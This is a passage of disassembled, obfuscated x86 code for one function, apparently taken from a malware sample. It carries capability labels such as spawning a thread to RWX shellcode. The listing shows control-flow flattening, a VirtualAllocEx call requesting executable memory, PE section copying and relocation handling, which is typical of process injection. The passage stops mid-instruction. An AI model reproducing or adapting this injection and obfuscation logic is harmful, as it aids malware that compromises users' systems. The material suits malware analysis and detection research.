Function at 0x40f100
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Get process heap flags
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x1b4
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b4], eax
mov eax, dword [0x47c080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
sub edx, 0x5f6a99b0
sub edx, 1
add edx, 0x5f6a99b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x1a6], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x1a5], al
mov dword [ebp - 0x1ac], 0x26ac4ea1
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1b8], eax
sub eax, 0x803a1d2d
je 0x410a41
jmp 0x40f183
mov eax, dword [ebp - 0x1b8]
sub eax, 0x808f5c4f
je 0x410df3
jmp 0x40f199
mov eax, dword [ebp - 0x1b8]
sub eax, 0x81a814c0
je 0x41099b
jmp 0x40f1af
mov eax, dword [ebp - 0x1b8]
sub eax, 0x844dd181
je 0x412115
jmp 0x40f1c5
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8536c09a
je 0x4129b1
jmp 0x40f1db
mov eax, dword [ebp - 0x1b8]
sub eax, 0x85f6a893
je 0x411612
jmp 0x40f1f1
mov eax, dword [ebp - 0x1b8]
sub eax, 0x86a6c193
je 0x411398
jmp 0x40f207
mov eax, dword [ebp - 0x1b8]
sub eax, 0x86e5f000
je 0x413898
jmp 0x40f21d
mov eax, dword [ebp - 0x1b8]
sub eax, 0x87c205a4
je 0x410681
jmp 0x40f233
mov eax, dword [ebp - 0x1b8]
sub eax, 0x89f8a63b
je 0x410cf9
jmp 0x40f249
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8a1dc314
je 0x41091e
jmp 0x40f25f
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8a49786d
je 0x410a7b
jmp 0x40f275
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8c6d3969
je 0x41343c
jmp 0x40f28b
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8c9ef619
je 0x412944
jmp 0x40f2a1
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8d991ce1
je 0x412c5a
jmp 0x40f2b7
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8f5fd46b
je 0x410c4b
jmp 0x40f2cd
mov eax, dword [ebp - 0x1b8]
sub eax, 0x91319174
je 0x413ac6
jmp 0x40f2e3
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9281dd8a
je 0x4121fb
jmp 0x40f2f9
mov eax, dword [ebp - 0x1b8]
sub eax, 0x93477f3c
je 0x412c2d
jmp 0x40f30f
mov eax, dword [ebp - 0x1b8]
sub eax, 0x93c4e312
je 0x412373
jmp 0x40f325
mov eax, dword [ebp - 0x1b8]
sub eax, 0x954a117b
je 0x412586
jmp 0x40f33b
mov eax, dword [ebp - 0x1b8]
sub eax, 0x95f335eb
je 0x41218b
jmp 0x40f351
mov eax, dword [ebp - 0x1b8]
sub eax, 0x98e42e5a
je 0x413319
jmp 0x40f367
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9af34ea1
je 0x41104a
jmp 0x40f37d
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9c6e2509
je 0x41098c
jmp 0x40f393
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9d370a47
je 0x4125b3
jmp 0x40f3a9
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9d6821db
je 0x4116a1
jmp 0x40f3bf
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa074f46c
je 0x41270b
jmp 0x40f3d5
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa1ccacaa
je 0x413241
jmp 0x40f3eb
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa1e711af
je 0x410e30
jmp 0x40f401
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa22fb73b
je 0x41379a
jmp 0x40f417
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa3c7d0f2
je 0x412af9
jmp 0x40f42d
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa869a30f
je 0x4119d4
jmp 0x40f443
mov eax, dword [ebp - 0x1b8]
sub eax, 0xabdc3435
je 0x4125cd
jmp 0x40f459
mov eax, dword [ebp - 0x1b8]
sub eax, 0xacf2407d
je 0x412a75
jmp 0x40f46f
mov eax, dword [ebp - 0x1b8]
sub eax, 0xad94c261
je 0x411910
jmp 0x40f485
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb38f1198
je 0x411cf8
jmp 0x40f49b
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb39d957b
je 0x412b17
jmp 0x40f4b1
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb40cecd9
je 0x411f69
jmp 0x40f4c7
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb4d5cfdf
je 0x41385b
jmp 0x40f4dd
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb522453b
je 0x4117af
jmp 0x40f4f3
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb5bdbea7
je 0x412d2f
jmp 0x40f509
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb668767a
je 0x4116be
jmp 0x40f51f
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb68dff1e
je 0x410817
jmp 0x40f535
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb7043b56
je 0x410b63
jmp 0x40f54b
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb752527c
je 0x4139b5
jmp 0x40f561
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb75594ba
je 0x4131f8
jmp 0x40f577
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb83170ca
je 0x411448
jmp 0x40f58d
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb83b8cc4
je 0x413a12
jmp 0x40f5a3
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb852f8b0
je 0x413713
jmp 0x40f5b9
mov eax, dword [ebp - 0x1b8]
sub eax, 0xbaa99af9
je 0x41156b
jmp 0x40f5cf
mov eax, dword [ebp - 0x1b8]
sub eax, 0xbb78c156
je 0x411875
jmp 0x40f5e5
mov eax, dword [ebp - 0x1b8]
sub eax, 0xbbb9331a
je 0x411846
jmp 0x40f5fb
mov eax, dword [ebp - 0x1b8]
sub eax, 0xbbc56ee3
je 0x411f18
jmp 0x40f611
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc10f28b9
je 0x4115a4
jmp 0x40f627
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc2a938b4
je 0x412ca3
jmp 0x40f63d
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc2b4a8a7
je 0x413086
jmp 0x40f653
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc313afdf
je 0x41395b
jmp 0x40f669
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc3e227ab
je 0x4139e5
jmp 0x40f67f
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc47a32aa
je 0x413365
jmp 0x40f695
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc4b725cb
je 0x412daf
jmp 0x40f6ab
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc4d4a5c4
je 0x413976
jmp 0x40f6c1
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc502de7e
je 0x41101f
jmp 0x40f6d7
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc6525a8d
je 0x41275c
jmp 0x40f6ed
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc735acca
je 0x410cea
mov ecx, dword [ebp - 0x1b4]
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x19c]
lea eax, [0x42dd44]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x47200
call fcn.0041e7c0
add esp, 0xc
mov eax, dword [ebp - 0x19c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x47200
call fcn.0040e030
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x198]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
add eax, 0x3c
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x1ac], 0x3a8e3cce
jmp 0x413bbf
mov eax, dword [ebp - 0x1a4]
mov dword [eax], 1
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0xf94d315c
sub edx, 1
sub edx, 0xf94d315c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3fa44801
mov ecx, 0x224d85cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6fecc762
mov ecx, 0x9c6e2509
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0x7d35652a
jmp 0x413bbf
mov eax, dword [ebp - 0x190]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041e660
add esp, 0xc
mov eax, dword [ebp - 0x18c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041e660
add esp, 0xc
mov eax, dword [ebp - 0x18c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x188]
mov edx, dword [ecx + 0xa0]
mov dword [eax], edx
mov ecx, dword [ecx + 0xa4]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x188]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x1ac], 0x803a1d2d
jmp 0x413bbf
mov edx, dword [ebp - 0xfc]
mov eax, 0x8a49786d
mov ecx, 0xdbc62d9b
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1ac], 0xe005c84
jmp 0x413bbf
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x194]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0xed], al
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4a9ac058
mov ecx, 0xfab407b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x190]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35c9eb83
mov ecx, 0x23dc9eb7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
sub edx, 0x7523105b
sub edx, 1
add edx, 0x7523105b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe51df75a
mov ecx, 0x304054f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe8]
sub ecx, 0x7c21df2
add ecx, eax
add ecx, 0x7c21df2
mov eax, dword [ebp - 0x17c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x178]
mov dword [eax], 0
mov dword [ebp - 0x1ac], 0xa1e711af
jmp 0x413bbf
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
sub edx, 0xdb3bf1cb
sub edx, 1
add edx, 0xdb3bf1cb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb852f8b0
mov ecx, 0xd5986049
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x1ac], 0x9af34ea1
jmp 0x413bbf
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0xd8]
xor eax, eax
sub eax, ecx
sub edx, eax
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x178]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0x14]
sub ecx, 0x71ebdca3
add ecx, eax
add ecx, 0x71ebdca3
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x178]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041e7c0
add esp, 0xc
mov dword [ebp - 0x1ac], 0x283a08bf
jmp 0x413bbf
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
sub edx, 0x8a019d88
sub edx, 1
add edx, 0x8a019d88
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa22fb73b
mov ecx, 0xf290a84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0x323c13d2
jmp 0x413bbf
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
movzx ecx, word [eax]
sar ecx, 0xc
mov edx, 0xffffffff
xor edx, 3
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb1], al
mov dword [ebp - 0x1ac], 0xc10f28b9
jmp 0x413bbf
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b76dade
mov ecx, 0x85f6a893
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5b76dade
mov ecx, 0xe012a2c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x1ac], 0xb668767a
jmp 0x413bbf
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx]
movzx edx, word [ecx]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov ecx, 0xffffffff
xor ecx, 0xada5b4f0
or edx, esi
or ecx, 0xada5b4f0
xor edx, 0xffffffff
and edx, ecx
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [eax]
mov esi, dword [ebp - 0xb0]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov dword [eax], ecx
mov dword [ebp - 0x1ac], 0xfa4a53cb
jmp 0x413bbf
mov ecx, dword [ebp - 0xac]
add ecx, 2
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22378630
mov ecx, 0x262ef5d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0x58349b5
jmp 0x413bbf
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xa8]
add ecx, 0x21b3891e
add ecx, eax
sub ecx, 0x21b3891e
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x170]
mov dword [eax], ecx
mov dword [ebp - 0x1ac], 0x86a6c193
jmp 0x413bbf
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 8
mov dword [ebp - 0xa0], eax
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
add edx, 0x767e071c
sub edx, 1
sub edx, 0x767e071c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xefb85022
mov ecx, 0x61f4586b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x154]
imul ecx, dword [ecx], 0x14
add eax, ecx
add eax, 0x10
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x1ac], 0x4dead1e3
jmp 0x413bbf
mov edx, dword [ebp - 0x88]
mov esi, dword [ebp - 0x84]
mov eax, 0x3dfc04b4
mov ecx, 0xeea3cdce
cmp dword [edx + esi*4], 0
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
sub edx, 0xd04440e
sub edx, 1
add edx, 0xd04440e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86e5f000
mov ecx, 0xb40cecd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
imul ecx, ecx, 0x14
add eax, ecx
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x70]
sub eax, 0x386a457a
add eax, ecx
add eax, 0x386a457a
mov ecx, dword [ebp - 0x144]
mov edx, dword [ecx]
shl edx, 2
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
add edx, 0x605747e6
sub edx, 1
sub edx, 0x605747e6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86e5f000
mov ecx, 0x3ba4780e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0xf2eb580a
sub edx, 1
sub edx, 0xf2eb580a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x458e740b
mov ecx, 0x95f335eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
add ecx, 0x2fc49b0c
add ecx, 1
sub ecx, 0x2fc49b0c
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
add edx, 0xd8d98c06
sub edx, 1
sub edx, 0xd8d98c06
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x458e740b
mov ecx, 0x9281dd8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0x78b1089d
jmp 0x413bbf
mov eax, dword [ebp - 0x5c]
movzx ecx, word [eax + 2]
mov eax, dword [ebp - 0x60]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x55], al
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
add edx, 0x566da32d
sub edx, 1
sub edx, 0x566da32d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc4d4a5c4
mov ecx, 0x58778c35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0x52b3a763
jmp 0x413bbf
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x1ac], 0xabdc3435
jmp 0x413bbf
mov edx, dword [ebp - 0x48]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x20000000
mov eax, 0xffffffff
xor eax, 0x81a3a4d7
or edx, ecx
or eax, 0x81a3a4d7
xor edx, 0xffffffff
and edx, eax
mov eax, 0x7376d8f
mov ecx, 0xd36dc63f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0xd9660b35
jmp 0x413bbf
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0x268a5bb
or eax, edx
or ecx, 0x268a5bb
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x3d], al
mov dword [ebp - 0x1ac], 0x6b326d7b
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0xfc44dc46
jmp 0x413bbf
mov edx, dword [ebp - 0x38]
mov eax, 0xdb22a129
mov ecx, 0x7e60764d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x34]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x2d], al
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
sub edx, 0x3afef9ab
sub edx, 1
add edx, 0x3afef9ab
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc3e227ab
mov ecx, 0xa3c7d0f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dl, byte [ebp - 0x2d]
mov eax, 0x93477f3c
mov ecx, 0xb39d957b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0x6744f0ca
sub edx, 1
sub edx, 0x6744f0ca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x163647ab
mov ecx, 0x6ae51ce7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0xea9b4c0b
jmp 0x413bbf
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb83b8cc4
mov ecx, 0xc2a938b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0xb9c316ad
sub edx, 1
sub edx, 0xb9c316ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb83b8cc4
mov ecx, 0xb5bdbea7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov dword [ebp - 0x1ac], 0x7ee9949f
jmp 0x413bbf
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1ac], 0x52637ad1
jmp 0x413bbf
mov dl, byte [ebp - 0x19]
mov eax, 0xb75594ba
mov ecx, 0x5a1c3001
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x413bbf
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
